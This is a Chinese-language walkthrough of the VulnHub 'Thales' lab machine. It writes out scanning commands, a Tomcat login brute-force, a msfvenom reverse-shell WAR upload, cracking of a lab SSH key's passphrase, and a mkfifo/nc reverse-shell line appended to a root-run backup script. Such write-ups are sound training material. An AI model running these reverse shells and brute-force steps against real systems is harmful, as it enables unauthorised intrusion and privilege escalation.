靶机渗透练习12-Thales
靶机描述
靶机地址:https://www.vulnhub.com/entry/thales-1,749/
Description
Description : Open your eyes and change your perspective
includes 2 flags:user.txt and root.txt.
Telegram: @machineboy141 (for any hint)
This works better with VIrtualBox rathe than VMware
一、搭建靶机环境
攻击机Kali
:
IP地址:192.168.9.7
靶机
:
IP地址:192.168.9.16
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
该靶机环境搭建如下
- 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
- 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
arp-scan -I eth0 -l
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、等你们补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
开放了
22---ssh---OpenSSH 7.6p1
8080---http---Apache Tomcat 9.0.52
2.2枚举漏洞
22 端口分析
一般只能暴力破解,暂时没有合适的字典
8080端口分析
访问 8080 端口
发现是个 tomcat 页面,有登录窗口
使用msf爆破一下
成功拿到账户密码
tomcat:role1
2.3漏洞利用
登录上去后,直接找到部署war文件位置,可以发现可以上传文件
这里咱们去HackTricks-Tomcat 中去查看反弹shell的相关使用方法
这里咱们使用msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.9.7 LPORT=6666 -f war -o revshell.war
将生成的文件上传至靶机‘
本地进行监听nc -lvp 6666
然后浏览器进行访问
成功拿到shell
切换至交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
2.4权限提升
信息收集
sudo -l
发现需要密码,且不是刚才爆破出来的密码
进入home目录下发现一用户thales
进入用户目录下查看是否有利用信息
tomcat@miletus:/home/thales$ ll -al
ll -al
total 52
drwxr-xr-x 6 thales thales 4096 Oct 14 11:28 ./
drwxr-xr-x 3 root root 4096 Aug 15 16:56 ../
-rw------- 1 thales thales 457 Oct 14 11:30 .bash_history
-rw-r--r-- 1 thales thales 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 thales thales 3771 Apr 4 2018 .bashrc
drwx------ 2 thales thales 4096 Aug 15 16:58 .cache/
drwx------ 3 thales thales 4096 Aug 15 16:58 .gnupg/
drwxrwxr-x 3 thales thales 4096 Aug 15 17:50 .local/
-rw-r--r-- 1 root root 107 Oct 14 09:36 notes.txt
-rw-r--r-- 1 thales thales 807 Apr 4 2018 .profile
-rw-r--r-- 1 root root 66 Aug 15 17:50 .selected_editor
drwxrwxrwx 2 thales thales 4096 Aug 16 20:34 .ssh/
-rw-r--r-- 1 thales thales 0 Oct 14 10:45 .sudo_as_admin_successful
-rw------- 1 thales thales 33 Aug 15 18:18 user.txt
tomcat@miletus:/home/thales$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
tomcat@miletus:/home/thales$ ls
ls
notes.txt user.txt
tomcat@miletus:/home/thales$ cat notes.txt
cat notes.txt
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
tomcat@miletus:/home/thales$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
tomcat@miletus:/home/thales$
在notes.txt
文件中发现/usr/local/bin/backup.sh
查看该文件内容
tomcat@miletus:/home/thales$ cat /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
# What to backup.
backup_files="/opt/tomcat/"
# Where to backup to.
dest="/var/backups"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
发现backup.sh
文件可以运行系统指令
除此之外还发现了 .ssh
文件夹,
tomcat@miletus:/home/thales/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6103FE9ABCD5EF41F96C07F531922AAF
ZMlKhm2S2Cqbj+k3h8MgQFr6oG4CBKqF1NfT04fJPs1xbXe00aSdS+QgIbSaKWMh
+/ILeS/r8rFUt9isW2QAH7JYEWBgR4Z/9KSMSUd1aEyjxz7FpZj2cL1Erj9wK9ZA
InMmkm7xAKOWKwLTJeMS3GB4X9AX9ef/Ijmxx/cvvIauK5G2jPRyGSazMjK0QcwX
pkwnm4EwXPDiktkwzg15RwIhJdZBbrMj7WW9kt0CF9P754mChdIWzHrxYhCUIfWd
rHbDYTKmfL18LYhHaj9ZklkZjb8li8JIPvnJDcnLsCY+6X1xB9dqbUGGtSHNnHiL
rmrOSfI7RYt9gCgMtFimYRaS7gFuvZE/NmmIUJkH3Ccv1mIj3wT1TCtvREv+eKgf
/nj+3A6ZSQKFdlm22YZBilE4npxGOC03s81Rbvg90cxOhxYGTZMu/jU9ebUT2HAh
o1B972ZAWj3m5sDZRiQ+wTGqwFBFxF9EPia6sRM/tBKaigIElDSyvz1C46mLTmBS
f8KNwx5rNXkNM7dYX1Sykg0RreKO1weYAA0yQSHCY+iJTIf81CuDcgOIYRywHIPU
9rI20K910cLLo+ySa7O4KDcmIL1WCnGbrD4PwupQ68G2YG0ZOOIrwE9efkpwXPCR
Vi2TO2Zut8x6ZEFjz4d3aWIzWtf1IugQrsmBK+akRLBPjQVy/LyApqvV+tYfQelV
v9pEKMxR5f1gFmZpTbZ6HDHmEO4Y7gXvUXphjW5uijYemcyGx0HSqCSER7y7+phA
h0NEJHSBSdMpvoS7oSIxC0qe4QsSwITYtJs5fKuvJejRGpoh1O2HE+etITXlFffm
2J1fdQgPo+qbOVSMGmkITfTBDh1ODG7TZYAq8OLyEh/yiALoZ8T1AEeAJev5hON5
PUUP8cxX4SH43lnsmIDjn8M+nEsMEWVZzvaqo6a2Sfa/SEdxq8ZIM1Nm8fLuS8N2
GCrvRmCd7H+KrMIY2Y4QuTFR1etulbBPbmcCmpsXlj496bE7n5WwILLw3Oe4IbZm
ztB5WYAww6yyheLmgU4WkKMx2sOWDWZ/TSEP0j9esOeh2mOt/7Grrhn3xr8zqnCY
i4utbnsjL4U7QVaa+zWz6PNiShH/LEpuRu2lJWZU8mZ7OyUyx9zoPRWEmz/mhOAb
jRMSyfLNFggfzjswgcbwubUrpX2Gn6XMb+MbTY3CRXYqLaGStxUtcpMdpj4QrFLP
eP/3PGXugeJi8anYMxIMc3cJR03EktX5Cj1TQRCjPWGoatOMh02akMHvVrRKGG1d
/sMTTIDrlYlrEAfQXacjQF0gzqxy7jQaUc0k4Vq5iWggjXNV2zbR/YYFwUzgSjSe
SNZzz4AMwRtlCWxrdoD/exvCeKWuObPlajTI3MaUoxPjOvhQK55XWIcg+ogo9X5x
B8XDQ3qW6QJLFELXpAnl5zW5cAHXAVzCp+VtgQyrPU04gkoOrlrj5u22UU8giTdq
nLypW+J5rGepKGrklOP7dxEBbQiy5XDm/K/22r9y+Lwyl38LDF2va22szGoW/oT+
8eZHEOYASwoSKng9UEhNvX/JpsGig5sAamBgG1sV9phyR2Y9MNb/698hHyULD78C
-----END RSA PRIVATE KEY-----
发现有私钥,那就可以用 ssh2john.py
生成密码文件然后爆破,保存秘钥到本地
用 ssh2john.py
脚本编译一下
/usr/share/john/ssh2john.py id_rsa > crack.txt
爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
成功爆破出密码为vodka06
尝试ssh
,失败,看来只能通过反弹shell切换用户了
切换用户成功,查看一下home
目录下的信息
这个user.txt
按照经验,应该是一个假的flag
而另一个文件则是root
运行的,说明这个是个突破口
也就是说,文件中提到的/usr/local/bin/backup.sh
可以利用
我们可以看到,可读可写,咱们可以给该文件追加一个反弹shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.9.7 666 >/tmp/f" >> backup.sh
添加完成后,kali上监听nc -lvp 666
,不一会儿就成功拿到shell,并在root目录下发现root.txt
md5解密失败,但这应该就是最终flag了
总结
这个靶机在tomcat靶机中算是比较经典了
- tomcat弱口令利用,文件上传漏洞(war包)
- ssh2john.py的使用
- john 的使用
- 常规提权思路